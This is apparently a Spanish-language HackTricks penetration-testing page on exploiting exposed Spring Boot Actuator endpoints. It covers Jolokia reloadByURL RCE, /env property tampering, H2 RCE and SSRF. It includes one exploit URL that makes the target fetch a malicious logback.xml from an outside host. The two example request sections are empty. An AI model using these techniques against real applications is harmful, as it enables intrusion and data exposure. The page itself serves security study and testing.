Spring Actuators
Last updated
Last updated
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Revisa la publicación original de [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Los Actuadores de Spring Boot registran endpoints como /health
, /trace
, /beans
, /env
, etc. En las versiones 1 a 1.4, estos endpoints son accesibles sin autenticación. A partir de la versión 1.5, solo /health
y /info
son no sensibles por defecto, pero los desarrolladores a menudo desactivan esta seguridad.
Ciertos endpoints de Actuador pueden exponer datos sensibles o permitir acciones dañinas:
/dump
, /trace
, /logfile
, /shutdown
, /mappings
, /env
, /actuator/env
, /restart
, y /heapdump
.
En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x, están bajo la ruta base /actuator/
.
Ejecución Remota de Código a través de '/jolokia':
El endpoint del actuador /jolokia
expone la Biblioteca Jolokia, que permite el acceso HTTP a MBeans.
La acción reloadByURL
puede ser explotada para recargar configuraciones de logging desde una URL externa, lo que puede llevar a XXE ciego o Ejecución Remota de Código a través de configuraciones XML manipuladas.
URL de ejemplo para explotación: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Modificación de Configuración a través de '/env':
Si las Bibliotecas de Spring Cloud están presentes, el endpoint /env
permite la modificación de propiedades ambientales.
Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización de XStream en el Eureka serviceURL.
Ejemplo de solicitud POST de explotación:
Otras Configuraciones Útiles:
Propiedades como spring.datasource.tomcat.validationQuery
, spring.datasource.tomcat.url
, y spring.datasource.tomcat.max-active
pueden ser manipuladas para varios exploits, como inyección SQL o alteración de cadenas de conexión a la base de datos.
Una lista completa de actuadores por defecto se puede encontrar aquí.
El endpoint /env
en Spring Boot 2.x utiliza formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo.
Env + H2 RCE:
Los detalles sobre la explotación de la combinación del endpoint /env
y la base de datos H2 se pueden encontrar aquí.
SSRF en Spring Boot a través de la Interpretación Incorrecta de Nombres de Ruta:
El manejo de parámetros de matriz (;
) en nombres de ruta HTTP por parte del marco de Spring puede ser explotado para Server-Side Request Forgery (SSRF).
Ejemplo de solicitud de explotación:
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)